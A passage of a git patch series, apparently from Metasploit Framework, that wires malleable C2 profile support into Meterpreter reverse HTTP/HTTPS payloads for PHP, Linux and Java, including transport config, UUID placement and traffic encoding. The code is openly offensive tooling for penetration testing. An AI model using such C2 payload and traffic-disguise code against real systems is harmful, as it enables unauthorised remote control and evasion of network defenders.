Payloads fall back to URL-path extraction when this TLV is absent. + # Bake a checksum-tuned :init_connect URI (>=URI_CHECKSUM_UUID_MIN_LEN, + # checksum8 => mode), not the bare to_uri. The handler needs the tuned + # form to extract both the UUID and the mode; a bare UUID yields nil. + if @opts[:uuid] + tuned = generate_uri_uuid(URI_CHECKSUM_INIT_CONN, @opts[:uuid]).sub(%r{\A/}, '') + c2_tlv.add_tlv(MET::TLV_TYPE_C2_UUID, tuned) + end end - - c2_tlv.add_tlv(MET::TLV_TYPE_C2_PROXY_URL, proxy_url) unless (proxy_url || '').empty? - c2_tlv.add_tlv(MET::TLV_TYPE_C2_PROXY_USER, opts[:proxy_user]) unless (opts[:proxy_user] || '').empty? - c2_tlv.add_tlv(MET::TLV_TYPE_C2_PROXY_PASS, opts[:proxy_pass]) unless (opts[:proxy_pass] || '').empty? - - c2_tlv.add_tlv(MET::TLV_TYPE_C2_CERT_HASH, opts[:ssl_cert_hash]) unless (opts[:ssl_cert_hash] || '').empty? - c2_tlv.add_tlv(MET::TLV_TYPE_C2_HEADERS, opts[:custom_headers]) unless (opts[:custom_headers] || '').empty? - - # Per-transport UUID for C2 profile placement (uuid_get/header/cookie). - # Payloads fall back to URL-path extraction when this TLV is absent. - c2_tlv.add_tlv(MET::TLV_TYPE_C2_UUID, @opts[:uuid].to_s) if @opts[:uuid] end tlv.tlvs << c2_tlv From a01c8d4badefab669a36a858f4745b9849000768 Mon Sep 17 00:00:00 2001 From: OJ Date: Tue, 19 May 2026 17:15:38 +1000 Subject: [PATCH 49/65] Fix mettle config generation Properly supports stageless now. --- lib/msf/base/sessions/mettle_config.rb | 41 ++++++++++++++++---------- 1 file changed, 25 insertions(+), 16 deletions(-) diff --git a/lib/msf/base/sessions/mettle_config.rb b/lib/msf/base/sessions/mettle_config.rb index ba0b346a43ad9..d14e1959a3c47 100644 --- a/lib/msf/base/sessions/mettle_config.rb +++ b/lib/msf/base/sessions/mettle_config.rb @@ -97,15 +97,22 @@ def generate_config(opts = {}) opts[:uuid] ||= generate_payload_uuid unless opts[:transport_config] - case opts[:scheme] - when 'http' - opts[:transport_config] = [transport_config_reverse_http(opts)] - when 'https' - opts[:transport_config] = [transport_config_reverse_https(opts)] - when 'tcp' - opts[:transport_config] = [transport_config_reverse_tcp(opts)] + if opts[:stageless] == true + case opts[:scheme] + when 'http' + opts[:transport_config] = [transport_config_reverse_http(opts)] + when 'https' + opts[:transport_config] = [transport_config_reverse_https(opts)] + when 'tcp' + opts[:transport_config] = [transport_config_reverse_tcp(opts)] + else + raise ArgumentError, "Unknown scheme: #{opts[:scheme]}" + end else - raise ArgumentError, "Unknown scheme: #{opts[:scheme]}" + # Staged payloads inherit the stager's socket (fd transport); + # the stage must not synthesise its own C2 transport. Use an + # explicit empty array ([] is truthy, so the build is skipped). + opts[:transport_config] = [] end end @@ -122,14 +129,16 @@ def generate_config(opts = {}) config = Rex::Payloads::Meterpreter::Config.new(config_opts) opts[:config_block] = config.to_b - # Keep the legacy CLI config for backward compatibility during transition - case opts[:scheme] - when 'http' - opts[:uri] = generate_http_uri(opts[:transport_config].first) - when 'https' - opts[:uri] = generate_http_uri(opts[:transport_config].first) - when 'tcp' - opts[:uri] = generate_tcp_uri(opts[:transport_config].first) + # Keep the legacy CLI config for backward compatibility during + # transition. Skipped for staged payloads, which have no transport. + transport = opts[:transport_config].first + if transport + case opts[:scheme] + when 'http', 'https' + opts[:uri] = generate_http_uri(transport) + when 'tcp' + opts[:uri] = generate_tcp_uri(transport) + end end opts[:uuid] = Base64.encode64(opts[:uuid].to_raw).strip From 2b7e6d4b23941c93c82082263788956c94cc2470 Mon Sep 17 00:00:00 2001 From: OJ Date: Tue, 19 May 2026 21:25:13 +1000 Subject: [PATCH 50/65] Wire MC2 into PHP payloads --- lib/rex/payloads/meterpreter/config.rb | 2 -- modules/payloads/singles/php/meterpreter_reverse_http.rb | 5 +++++ modules/payloads/singles/php/meterpreter_reverse_https.rb | 5 +++++ 3 files changed, 10 insertions(+), 2 deletions(-) diff --git a/lib/rex/payloads/meterpreter/config.rb b/lib/rex/payloads/meterpreter/config.rb index eaa041a4cd5a0..3c6e6decf16d2 100644 --- a/lib/rex/payloads/meterpreter/config.rb +++ b/lib/rex/payloads/meterpreter/config.rb @@ -76,8 +76,6 @@ def add_session_tlv(tlv, opts) end def add_c2_tlv(tlv, opts) - # Build the URL from the given parameters, and pad it out to the - # correct size lhost = opts[:lhost] if lhost && opts[:scheme].start_with?('http') && Rex::Socket.is_ipv6?(lhost) lhost = "[#{lhost}]" diff --git a/modules/payloads/singles/php/meterpreter_reverse_http.rb b/modules/payloads/singles/php/meterpreter_reverse_http.rb index d8d2f211daa9b..82297487b5459 100644 --- a/modules/payloads/singles/php/meterpreter_reverse_http.rb +++ b/modules/payloads/singles/php/meterpreter_reverse_http.rb @@ -26,6 +26,10 @@ def initialize(info = {}) 'Session' => Msf::Sessions::Meterpreter_Php_Php ) ) + + register_options([ + OptString.new('MALLEABLEC2', [false, 'Path to a file containing the malleable C2 profile']), + ]) end def generate_config(opts = {}) @@ -63,6 +67,7 @@ def generate_reverse_http(opts = {}) config_block = Rex::Text.encode_base64(generate_config( url: url, scheme: opts[:scheme], + c2_profile: datastore['MALLEABLEC2'], stageless: true )) met = met.sub('"CONFIG_BLOCK", ""', "\"CONFIG_BLOCK\", \"#{config_block}\"") diff --git a/modules/payloads/singles/php/meterpreter_reverse_https.rb b/modules/payloads/singles/php/meterpreter_reverse_https.rb index f959327481062..77d01dae2d2b1 100644 --- a/modules/payloads/singles/php/meterpreter_reverse_https.rb +++ b/modules/payloads/singles/php/meterpreter_reverse_https.rb @@ -26,6 +26,10 @@ def initialize(info = {}) 'Session' => Msf::Sessions::Meterpreter_Php_Php ) ) + + register_options([ + OptString.new('MALLEABLEC2', [false, 'Path to a file containing the malleable C2 profile']), + ]) end def generate_config(opts = {}) @@ -63,6 +67,7 @@ def generate_reverse_http(opts = {}) config_block = Rex::Text.encode_base64(generate_config( url: url, scheme: 'https', + c2_profile: datastore['MALLEABLEC2'], stageless: true )) met = met.sub('"CONFIG_BLOCK", ""', "\"CONFIG_BLOCK\", \"#{config_block}\"") From b60e6455bc665fbfcd7b6c477d6bdd388f91d7ac Mon Sep 17 00:00:00 2001 From: OJ Date: Tue, 19 May 2026 22:14:48 +1000 Subject: [PATCH 51/65] Remove debug log and fix uuid loading in C2 --- lib/msf/core/handler/reverse_http.rb | 6 +----- lib/rex/payloads/meterpreter/config.rb | 10 ---------- 2 files changed, 1 insertion(+), 15 deletions(-) diff --git a/lib/msf/core/handler/reverse_http.rb b/lib/msf/core/handler/reverse_http.rb index 0c662bb998c9a..ad48137a917cb 100644 --- a/lib/msf/core/handler/reverse_http.rb +++ b/lib/msf/core/handler/reverse_http.rb @@ -386,16 +386,12 @@ def on_request(cli, req) conn_id = req.conn_id end - elog("MC2DBG on_request resource=#{req.relative_resource.inspect} " \ - "conn_id=#{req.conn_id.inspect} " \ - "info=#{info.nil? ? 'nil' : { sum: info[:sum], mode: info[:mode], uuid: !info[:uuid].nil? }.inspect}") - if uuid # Configure the UUID architecture and payload if necessary uuid.arch ||= self.arch uuid.platform ||= self.platform - request_summary = "#{luri} with UA '#{req.headers['User-Agent']}'" + request_summary = "URI '#{luri}' with UA '#{req.headers['User-Agent']}'" if info[:mode] && info[:mode] != :connect conn_id = generate_uri_uuid(URI_CHECKSUM_CONN, uuid) diff --git a/lib/rex/payloads/meterpreter/config.rb b/lib/rex/payloads/meterpreter/config.rb index 3c6e6decf16d2..0afa8e40d1541 100644 --- a/lib/rex/payloads/meterpreter/config.rb +++ b/lib/rex/payloads/meterpreter/config.rb @@ -121,16 +121,6 @@ def add_c2_tlv(tlv, opts) c2_tlv.add_tlv(MET::TLV_TYPE_C2_CERT_HASH, opts[:ssl_cert_hash]) unless (opts[:ssl_cert_hash] || '').empty? c2_tlv.add_tlv(MET::TLV_TYPE_C2_HEADERS, opts[:custom_headers]) unless (opts[:custom_headers] || '').empty? - - # Per-transport UUID for C2 profile placement (uuid_get/header/cookie). - # Payloads fall back to URL-path extraction when this TLV is absent. - # Bake a checksum-tuned :init_connect URI (>=URI_CHECKSUM_UUID_MIN_LEN, - # checksum8 => mode), not the bare to_uri. The handler needs the tuned - # form to extract both the UUID and the mode; a bare UUID yields nil. - if @opts[:uuid] - tuned = generate_uri_uuid(URI_CHECKSUM_INIT_CONN, @opts[:uuid]).sub(%r{\A/}, '') - c2_tlv.add_tlv(MET::TLV_TYPE_C2_UUID, tuned) - end end end From b130aa937e73d2c78ad388229e471aaf55f6f644 Mon Sep 17 00:00:00 2001 From: OJ Date: Wed, 20 May 2026 12:03:56 +1000 Subject: [PATCH 52/65] Add IN/OUTBOUND encoding to correctly handle encoding --- lib/msf/core/payload/malleable_c2.rb | 28 ++++++++++++++++++------- lib/rex/post/meterpreter/client_core.rb | 2 +- lib/rex/post/meterpreter/packet.rb | 3 ++- 3 files changed, 24 insertions(+), 9 deletions(-) diff --git a/lib/msf/core/payload/malleable_c2.rb b/lib/msf/core/payload/malleable_c2.rb index 227591523d0df..8df0072018a5c 100644 --- a/lib/msf/core/payload/malleable_c2.rb +++ b/lib/msf/core/payload/malleable_c2.rb @@ -248,9 +248,10 @@ def build_get_tlv(http_get, c2_uri) http_get.get_section('client') {|client| self.add_http_tlv(get_uri, client, get_tlv) add_skip_tlvs(get_tlv, self.http_get&.server&.output) + add_inbound_encoding_tlv(get_tlv, self.http_get&.server&.output) client.get_section('metadata') {|meta| - add_encoding_tlv(get_tlv, meta) + add_outbound_encoding_tlv(get_tlv, meta) add_uuid_tlvs(get_tlv, meta) } } @@ -263,9 +264,10 @@ def build_post_tlv(http_post, c2_uri) http_post.get_section('client') {|client| self.add_http_tlv(post_uri, client, post_tlv) add_skip_tlvs(post_tlv, self.http_post&.server&.output) + add_inbound_encoding_tlv(post_tlv, self.http_post&.server&.output) client.get_section('output') {|client_output| - add_encoding_tlv(post_tlv, client_output) + add_outbound_encoding_tlv(post_tlv, client_output) prepend_data = client_output.get_directive('prepend').map{|d|d.args[0]}.join("") post_tlv.add_tlv(MET::TLV_TYPE_C2_PREFIX, prepend_data) unless prepend_data.empty? @@ -290,11 +292,23 @@ def add_skip_tlvs(group_tlv, server_output) group_tlv.add_tlv(MET::TLV_TYPE_C2_SUFFIX_SKIP, suffix_len) unless suffix_len == 0 end - def add_encoding_tlv(group_tlv, section) - enc_flags = MET::C2_ENCODING_NONE - enc_flags = MET::C2_ENCODING_B64URL if section.has_directive('base64url') - enc_flags = MET::C2_ENCODING_B64 if section.has_directive('base64') - group_tlv.add_tlv(MET::TLV_TYPE_C2_ENC, enc_flags) if enc_flags != MET::C2_ENCODING_NONE + def encoding_flags_for(section) + return MET::C2_ENCODING_NONE if section.nil? + return MET::C2_ENCODING_B64 if section.has_directive('base64') + return MET::C2_ENCODING_B64URL if section.has_directive('base64url') + MET::C2_ENCODING_NONE + end + + # Client->server body/metadata encoding (request) + def add_outbound_encoding_tlv(group_tlv, section) + enc = encoding_flags_for(section) + group_tlv.add_tlv(MET::TLV_TYPE_C2_ENC_OUTBOUND, enc) if enc != MET::C2_ENCODING_NONE + end + + # Server->client body encoding (response) + def add_inbound_encoding_tlv(group_tlv, section) + enc = encoding_flags_for(section) + group_tlv.add_tlv(MET::TLV_TYPE_C2_ENC_INBOUND, enc) if enc != MET::C2_ENCODING_NONE end def add_uuid_tlvs(group_tlv, section) diff --git a/lib/rex/post/meterpreter/client_core.rb b/lib/rex/post/meterpreter/client_core.rb index 7ef06ce4f2b33..0f325776fcbb8 100644 --- a/lib/rex/post/meterpreter/client_core.rb +++ b/lib/rex/post/meterpreter/client_core.rb @@ -151,7 +151,7 @@ def transport_list response.each(TLV_TYPE_C2) { |t| # TODO: Consider adding more information to the output for malleable profiles? - # TLV_TYPE_C2_GET, TLV_TYPE_C2_POST, TLV_TYPE_C2_PREFIX, TLV_TYPE_C2_SUFFIX, TLV_TYPE_C2_ENC, + # TLV_TYPE_C2_GET, TLV_TYPE_C2_POST, TLV_TYPE_C2_PREFIX, TLV_TYPE_C2_SUFFIX, TLV_TYPE_C2_ENC_INBOUND, TLV_TYPE_C2_ENC_OUTBOUND, # TLV_TYPE_C2_PREFIX_SKIP, TLV_TYPE_C2_SUFFIX_SKIP, # TLV_TYPE_C2_UUID_COOKIE, TLV_TYPE_C2_UUID_GET, TLV_TYPE_C2_UUID_HEADER # Not sure if this stuff is useful for this display though. diff --git a/lib/rex/post/meterpreter/packet.rb b/lib/rex/post/meterpreter/packet.rb index 0619d8ddb1276..f6037c6c3c36d 100644 --- a/lib/rex/post/meterpreter/packet.rb +++ b/lib/rex/post/meterpreter/packet.rb @@ -131,7 +131,7 @@ module Meterpreter TLV_TYPE_C2_CERT_HASH = TLV_META_TYPE_RAW | 717 # Expected SSL certificate hash TLV_TYPE_C2_PREFIX = TLV_META_TYPE_RAW | 718 # Data to prepend to the outgoing payload TLV_TYPE_C2_SUFFIX = TLV_META_TYPE_RAW | 719 # Data to append to the outgoing payload -TLV_TYPE_C2_ENC = TLV_META_TYPE_UINT | 720 # Request encoding flags (Base64|URL|Base64url) +TLV_TYPE_C2_ENC_INBOUND = TLV_META_TYPE_UINT | 720 # Server-inbound (client->server) body/metadata encoding TLV_TYPE_C2_PREFIX_SKIP = TLV_META_TYPE_UINT | 721 # Size of prefix to skip (in bytes) TLV_TYPE_C2_SUFFIX_SKIP = TLV_META_TYPE_UINT | 722 # Size of suffix to skip (in bytes) TLV_TYPE_C2_UUID_COOKIE = TLV_META_TYPE_STRING | 723 # Name of the cookie to put the UUID in @@ -139,6 +139,7 @@ module Meterpreter TLV_TYPE_C2_UUID_HEADER = TLV_META_TYPE_STRING | 725 # Name of the header to put the UUID in TLV_TYPE_C2_UUID = TLV_META_TYPE_STRING | 726 # string representation of the UUID for C2s TLV_TYPE_SESSION_FLAGS = TLV_META_TYPE_UINT | 727 # session-level config flags (e.g. FLAG_STAGELESS, FLAG_DEBUG) +TLV_TYPE_C2_ENC_OUTBOUND = TLV_META_TYPE_UINT | 728 # Server-outbound (server->client) body encoding # # C2 Encoding flags From 6c884629d50194bfca5c1c8fcf8e04908a3397a7 Mon Sep 17 00:00:00 2001 From: OJ Date: Wed, 20 May 2026 13:46:55 +1000 Subject: [PATCH 53/65] Wire MC2 into mettle --- lib/msf/core/handler/reverse_http.rb | 4 ++-- .../payloads/singles/linux/x64/meterpreter_reverse_http.rb | 5 +++++ .../payloads/singles/linux/x64/meterpreter_reverse_https.rb | 5 +++++ .../payloads/singles/linux/x86/meterpreter_reverse_http.rb | 5 +++++ .../payloads/singles/linux/x86/meterpreter_reverse_https.rb | 5 +++++ 5 files changed, 22 insertions(+), 2 deletions(-) diff --git a/lib/msf/core/handler/reverse_http.rb b/lib/msf/core/handler/reverse_http.rb index ad48137a917cb..e1260544299df 100644 --- a/lib/msf/core/handler/reverse_http.rb +++ b/lib/msf/core/handler/reverse_http.rb @@ -391,7 +391,7 @@ def on_request(cli, req) uuid.arch ||= self.arch uuid.platform ||= self.platform - request_summary = "URI '#{luri}' with UA '#{req.headers['User-Agent']}'" + request_summary = "URI '#{req.resource}' with UA '#{req.headers['User-Agent']}'" if info[:mode] && info[:mode] != :connect conn_id = generate_uri_uuid(URI_CHECKSUM_CONN, uuid) @@ -435,7 +435,7 @@ def on_request(cli, req) # Process the requested resource. case info[:mode] when :init_connect - print_status("Redirecting stageless connection from #{request_summary} to #{conn_id}") + print_status("Redirecting stageless: #{request_summary} -> UUID #{conn_id.gsub(/\//, '')}") # Handle the case where stageless payloads call in on the same URI when they # first connect. From there, we tell them to callback on a connect URI that diff --git a/modules/payloads/singles/linux/x64/meterpreter_reverse_http.rb b/modules/payloads/singles/linux/x64/meterpreter_reverse_http.rb index e78b5a0f96b7d..2a9f6c3810f2a 100644 --- a/modules/payloads/singles/linux/x64/meterpreter_reverse_http.rb +++ b/modules/payloads/singles/linux/x64/meterpreter_reverse_http.rb @@ -32,11 +32,16 @@ def initialize(info = {}) 'Session' => Msf::Sessions::Meterpreter_x64_Linux ) ) + + register_options([ + OptString.new('MALLEABLEC2', [false, 'Path to a file containing the malleable C2 profile']), + ]) end def generate(_opts = {}) opts = { scheme: 'http', + c2_profile: datastore['MALLEABLEC2'], stageless: true }.merge(mettle_logging_config) payload = MetasploitPayloads::Mettle.new('x86_64-linux-musl', generate_config(opts)).to_binary :exec diff --git a/modules/payloads/singles/linux/x64/meterpreter_reverse_https.rb b/modules/payloads/singles/linux/x64/meterpreter_reverse_https.rb index 54131decab2c6..d38ef903a2b6f 100644 --- a/modules/payloads/singles/linux/x64/meterpreter_reverse_https.rb +++ b/modules/payloads/singles/linux/x64/meterpreter_reverse_https.rb @@ -32,11 +32,16 @@ def initialize(info = {}) 'Session' => Msf::Sessions::Meterpreter_x64_Linux ) ) + + register_options([ + OptString.new('MALLEABLEC2', [false, 'Path to a file containing the malleable C2 profile']), + ]) end def generate(_opts = {}) opts = { scheme: 'https', + c2_profile: datastore['MALLEABLEC2'], stageless: true }.merge(mettle_logging_config) payload = MetasploitPayloads::Mettle.new('x86_64-linux-musl', generate_config(opts)).to_binary :exec diff --git a/modules/payloads/singles/linux/x86/meterpreter_reverse_http.rb b/modules/payloads/singles/linux/x86/meterpreter_reverse_http.rb index 7efda64defbcc..4f28cda163138 100644 --- a/modules/payloads/singles/linux/x86/meterpreter_reverse_http.rb +++ b/modules/payloads/singles/linux/x86/meterpreter_reverse_http.rb @@ -32,11 +32,16 @@ def initialize(info = {}) 'Session' => Msf::Sessions::Meterpreter_x86_Linux ) ) + + register_options([ + OptString.new('MALLEABLEC2', [false, 'Path to a file containing the malleable C2 profile']), + ]) end def generate(_opts = {}) opts = { scheme: 'http', + c2_profile: datastore['MALLEABLEC2'], stageless: true }.merge(mettle_logging_config) payload = MetasploitPayloads::Mettle.new('i486-linux-musl', generate_config(opts)).to_binary :exec diff --git a/modules/payloads/singles/linux/x86/meterpreter_reverse_https.rb b/modules/payloads/singles/linux/x86/meterpreter_reverse_https.rb index d8bdc12fe2cd6..41964109ab16b 100644 --- a/modules/payloads/singles/linux/x86/meterpreter_reverse_https.rb +++ b/modules/payloads/singles/linux/x86/meterpreter_reverse_https.rb @@ -32,11 +32,16 @@ def initialize(info = {}) 'Session' => Msf::Sessions::Meterpreter_x86_Linux ) ) + + register_options([ + OptString.new('MALLEABLEC2', [false, 'Path to a file containing the malleable C2 profile']), + ]) end def generate(_opts = {}) opts = { scheme: 'https', + c2_profile: datastore['MALLEABLEC2'], stageless: true }.merge(mettle_logging_config) payload = MetasploitPayloads::Mettle.new('i486-linux-musl', generate_config(opts)).to_binary :exec From 44b3b639c3c527c2c3224c07649e57646dc22b24 Mon Sep 17 00:00:00 2001 From: OJ Date: Wed, 20 May 2026 14:07:42 +1000 Subject: [PATCH 54/65] Correctly handle UUID encoding/decoding --- lib/msf/core/handler/reverse_http.rb | 63 ++++++++++++++++++++++++---- lib/msf/core/payload/malleable_c2.rb | 17 +++++++- lib/rex/post/meterpreter/packet.rb | 5 ++- 3 files changed, 74 insertions(+), 11 deletions(-) diff --git a/lib/msf/core/handler/reverse_http.rb b/lib/msf/core/handler/reverse_http.rb index e1260544299df..2bab479bc7b52 100644 --- a/lib/msf/core/handler/reverse_http.rb +++ b/lib/msf/core/handler/reverse_http.rb @@ -280,24 +280,69 @@ def setup_handler end end + # Extract the connection id (the checksum-tuned base64url UUID string + # produced by `generate_uri_uuid`) from an incoming request, so that + # `process_uri_resource` can map it to a session. The id can arrive in + # three places depending on the C2 profile placement directive: + # + # * query parameter (profile: `parameter "name";`) + # * request header (profile: `header "name";`) + # * trailing path seg (default — no placement directive) + # + # For the path case, the URI looks like `/`, where `` + # is the profile's per-verb `set uri` if defined, otherwise `LURI` + # (each is registered as a separate mount point in `all_uris`). + # Taking the last `/`-separated segment skips the base regardless of + # which one was used. Profile authors should not put `/` in + # prepend/append directives — that would split the id across segments + # and defeat this scheme. + # + # If the profile applied `prepend` / `append` / `base64` / `base64url` + # to the id on the payload side, undo those transforms here before + # handing the result to `process_uri_resource`. def find_resource_id(cli, request) if request.method == 'POST' - directive = self.c2_profile&.http_post&.client&.id&.parameter - cid = request.qstring[directive[0].args[0]] if directive && directive.length > 0 - unless cid - directive = self.c2_profile&.http_post&.client&.id&.header - cid = request.headers[directive[0].args[0]] if directive && directive.length > 0 - end + placement = self.c2_profile&.http_post&.client&.id else - directive = self.c2_profile&.http_get&.client&.metadata&.parameter + placement = self.c2_profile&.http_get&.client&.metadata + end + + cid = nil + if placement + directive = placement.parameter cid = request.qstring[directive[0].args[0]] if directive && directive.length > 0 unless cid - directive = self.c2_profile&.http_get&.client&.metadata&.header + directive = placement.header cid = request.headers[directive[0].args[0]] if directive && directive.length > 0 end end - request.conn_id = cid || request.resource.split('?')[0].split('/').compact.last + cid ||= request.resource.split('?')[0].split('/').compact.last + cid = unwrap_profile_uuid(cid, placement) if cid && placement + + request.conn_id = cid + end + + # Reverse the prepend/append + base64 transforms the profile applied + # to the id on the payload side. If a declared wrapper is missing from + # the candidate, leave the candidate alone — this is not a payload + # request, and `process_uri_resource` will return nil for it. + def unwrap_profile_uuid(candidate, placement) + prefix = placement.prepend.map{|d| d.args[0]}.join('') + suffix = placement.append.map{|d| d.args[0]}.join('') + + return candidate unless prefix.empty? || candidate.start_with?(prefix) + return candidate unless suffix.empty? || candidate.end_with?(suffix) + + candidate = candidate[prefix.length..] unless prefix.empty? + candidate = candidate[0...-suffix.length] unless suffix.empty? + + if placement.has_directive('base64') + candidate = Rex::Text.decode_base64(candidate) + elsif placement.has_directive('base64url') + candidate = Rex::Text.decode_base64url(candidate) + end + candidate end def add_response_headers(req, resp) diff --git a/lib/msf/core/payload/malleable_c2.rb b/lib/msf/core/payload/malleable_c2.rb index 8df0072018a5c..8ab3597678491 100644 --- a/lib/msf/core/payload/malleable_c2.rb +++ b/lib/msf/core/payload/malleable_c2.rb @@ -251,7 +251,7 @@ def build_get_tlv(http_get, c2_uri) add_inbound_encoding_tlv(get_tlv, self.http_get&.server&.output) client.get_section('metadata') {|meta| - add_outbound_encoding_tlv(get_tlv, meta) + add_uuid_transform_tlvs(get_tlv, meta) add_uuid_tlvs(get_tlv, meta) } } @@ -276,6 +276,7 @@ def build_post_tlv(http_post, c2_uri) } client.get_section('id') {|client_id| + add_uuid_transform_tlvs(post_tlv, client_id) add_uuid_tlvs(post_tlv, client_id) } } @@ -311,6 +312,20 @@ def add_inbound_encoding_tlv(group_tlv, section) group_tlv.add_tlv(MET::TLV_TYPE_C2_ENC_INBOUND, enc) if enc != MET::C2_ENCODING_NONE end + # UUID placement encoding + prepend/append wrappers. Section is + # `client.metadata` (GET) or `client.id` (POST). + def add_uuid_transform_tlvs(group_tlv, section) + return if section.nil? + + enc = encoding_flags_for(section) + group_tlv.add_tlv(MET::TLV_TYPE_C2_ENC_UUID, enc) if enc != MET::C2_ENCODING_NONE + + prepend_data = section.get_directive('prepend').map{|d|d.args[0]}.join("") + group_tlv.add_tlv(MET::TLV_TYPE_C2_UUID_PREFIX, prepend_data) unless prepend_data.empty? + append_data = section.get_directive('append').map{|d|d.args[0]}.join("") + group_tlv.add_tlv(MET::TLV_TYPE_C2_UUID_SUFFIX, append_data) unless append_data.empty? + end + def add_uuid_tlvs(group_tlv, section) group_tlv.add_tlv(MET::TLV_TYPE_C2_UUID_GET, section.get_directive('parameter')[0].args[0]) if section.has_directive('parameter') group_tlv.add_tlv(MET::TLV_TYPE_C2_UUID_HEADER, section.get_directive('header')[0].args[0]) if section.has_directive('header') diff --git a/lib/rex/post/meterpreter/packet.rb b/lib/rex/post/meterpreter/packet.rb index f6037c6c3c36d..18b5e0e6fc861 100644 --- a/lib/rex/post/meterpreter/packet.rb +++ b/lib/rex/post/meterpreter/packet.rb @@ -139,7 +139,10 @@ module Meterpreter TLV_TYPE_C2_UUID_HEADER = TLV_META_TYPE_STRING | 725 # Name of the header to put the UUID in TLV_TYPE_C2_UUID = TLV_META_TYPE_STRING | 726 # string representation of the UUID for C2s TLV_TYPE_SESSION_FLAGS = TLV_META_TYPE_UINT | 727 # session-level config flags (e.g. FLAG_STAGELESS, FLAG_DEBUG) -TLV_TYPE_C2_ENC_OUTBOUND = TLV_META_TYPE_UINT | 728 # Server-outbound (server->client) body encoding +TLV_TYPE_C2_ENC_OUTBOUND = TLV_META_TYPE_UINT | 728 # Client->server (request) body encoding (POST only) +TLV_TYPE_C2_ENC_UUID = TLV_META_TYPE_UINT | 729 # Encoding applied to the UUID before placement (URL/header/cookie) +TLV_TYPE_C2_UUID_PREFIX = TLV_META_TYPE_RAW | 730 # Bytes to prepend to the encoded UUID +TLV_TYPE_C2_UUID_SUFFIX = TLV_META_TYPE_RAW | 731 # Bytes to append to the encoded UUID # # C2 Encoding flags From 3da3c7115587ba70032797cb47788c59d02a3920 Mon Sep 17 00:00:00 2001 From: OJ Date: Wed, 20 May 2026 15:31:11 +1000 Subject: [PATCH 55/65] Move to STRING instead of RAW for UUID prefix/suffix --- lib/msf/core/payload/malleable_c2.rb | 15 ++++++++------- lib/rex/post/meterpreter/packet.rb | 4 ++-- 2 files changed, 10 insertions(+), 9 deletions(-) diff --git a/lib/msf/core/payload/malleable_c2.rb b/lib/msf/core/payload/malleable_c2.rb index 8ab3597678491..8b5b497a1f733 100644 --- a/lib/msf/core/payload/malleable_c2.rb +++ b/lib/msf/core/payload/malleable_c2.rb @@ -268,11 +268,7 @@ def build_post_tlv(http_post, c2_uri) client.get_section('output') {|client_output| add_outbound_encoding_tlv(post_tlv, client_output) - - prepend_data = client_output.get_directive('prepend').map{|d|d.args[0]}.join("") - post_tlv.add_tlv(MET::TLV_TYPE_C2_PREFIX, prepend_data) unless prepend_data.empty? - append_data = client_output.get_directive('append').map{|d|d.args[0]}.join("") - post_tlv.add_tlv(MET::TLV_TYPE_C2_SUFFIX, append_data) unless append_data.empty? + add_prepend_append_tlvs(post_tlv, client_output, MET::TLV_TYPE_C2_PREFIX, MET::TLV_TYPE_C2_SUFFIX) } client.get_section('id') {|client_id| @@ -319,11 +315,16 @@ def add_uuid_transform_tlvs(group_tlv, section) enc = encoding_flags_for(section) group_tlv.add_tlv(MET::TLV_TYPE_C2_ENC_UUID, enc) if enc != MET::C2_ENCODING_NONE + add_prepend_append_tlvs(group_tlv, section, MET::TLV_TYPE_C2_UUID_PREFIX, MET::TLV_TYPE_C2_UUID_SUFFIX) + end + # Concatenate every `prepend`/`append` directive in `section` and emit + # them as the given prefix/suffix TLVs (skipping empty strings). + def add_prepend_append_tlvs(group_tlv, section, prefix_type, suffix_type) prepend_data = section.get_directive('prepend').map{|d|d.args[0]}.join("") - group_tlv.add_tlv(MET::TLV_TYPE_C2_UUID_PREFIX, prepend_data) unless prepend_data.empty? + group_tlv.add_tlv(prefix_type, prepend_data) unless prepend_data.empty? append_data = section.get_directive('append').map{|d|d.args[0]}.join("") - group_tlv.add_tlv(MET::TLV_TYPE_C2_UUID_SUFFIX, append_data) unless append_data.empty? + group_tlv.add_tlv(suffix_type, append_data) unless append_data.empty? end def add_uuid_tlvs(group_tlv, section) diff --git a/lib/rex/post/meterpreter/packet.rb b/lib/rex/post/meterpreter/packet.rb index 18b5e0e6fc861..54dd1613a8eb8 100644 --- a/lib/rex/post/meterpreter/packet.rb +++ b/lib/rex/post/meterpreter/packet.rb @@ -141,8 +141,8 @@ module Meterpreter TLV_TYPE_SESSION_FLAGS = TLV_META_TYPE_UINT | 727 # session-level config flags (e.g. FLAG_STAGELESS, FLAG_DEBUG) TLV_TYPE_C2_ENC_OUTBOUND = TLV_META_TYPE_UINT | 728 # Client->server (request) body encoding (POST only) TLV_TYPE_C2_ENC_UUID = TLV_META_TYPE_UINT | 729 # Encoding applied to the UUID before placement (URL/header/cookie) -TLV_TYPE_C2_UUID_PREFIX = TLV_META_TYPE_RAW | 730 # Bytes to prepend to the encoded UUID -TLV_TYPE_C2_UUID_SUFFIX = TLV_META_TYPE_RAW | 731 # Bytes to append to the encoded UUID +TLV_TYPE_C2_UUID_PREFIX = TLV_META_TYPE_STRING | 730 # String to prepend to the encoded UUID +TLV_TYPE_C2_UUID_SUFFIX = TLV_META_TYPE_STRING | 731 # String to append to the encoded UUID # # C2 Encoding flags From 068e9c4878598d46990b9ec131002812d5646bb6 Mon Sep 17 00:00:00 2001 From: OJ Date: Wed, 20 May 2026 17:07:15 +1000 Subject: [PATCH 56/65] Support stageless java payloads With MC2 support! --- .../core/payload/java/meterpreter_loader.rb | 36 +++++++++++++++++-- .../singles/java/meterpreter_bind_tcp.rb | 4 +-- .../singles/java/meterpreter_reverse_http.rb | 8 +++-- .../singles/java/meterpreter_reverse_https.rb | 8 +++-- .../singles/java/meterpreter_reverse_tcp.rb | 4 +-- 5 files changed, 49 insertions(+), 11 deletions(-) diff --git a/lib/msf/core/payload/java/meterpreter_loader.rb b/lib/msf/core/payload/java/meterpreter_loader.rb index 5b94ce40c50dc..249cffb8db478 100644 --- a/lib/msf/core/payload/java/meterpreter_loader.rb +++ b/lib/msf/core/payload/java/meterpreter_loader.rb @@ -50,7 +50,7 @@ def stage_meterpreter(opts={}) met = MetasploitPayloads.read('meterpreter', 'meterpreter.jar') config = generate_config(opts) - return build_stageless_jar(met, config) if opts[:stageless] + return build_stageless_jar(met, config).pack if opts[:stageless] # All of the dependencies to create a jar loader, followed by the length # of the jar and the jar itself, then the config @@ -71,7 +71,17 @@ def stage_meterpreter(opts={}) # Build a self-contained stageless jar: take the prebuilt meterpreter.jar, # rewrite its manifest to point at StagelessMain, and embed the encoded - # config as a jar resource that StagelessMain reads at startup. + # config as a jar resource that StagelessMain reads at startup. 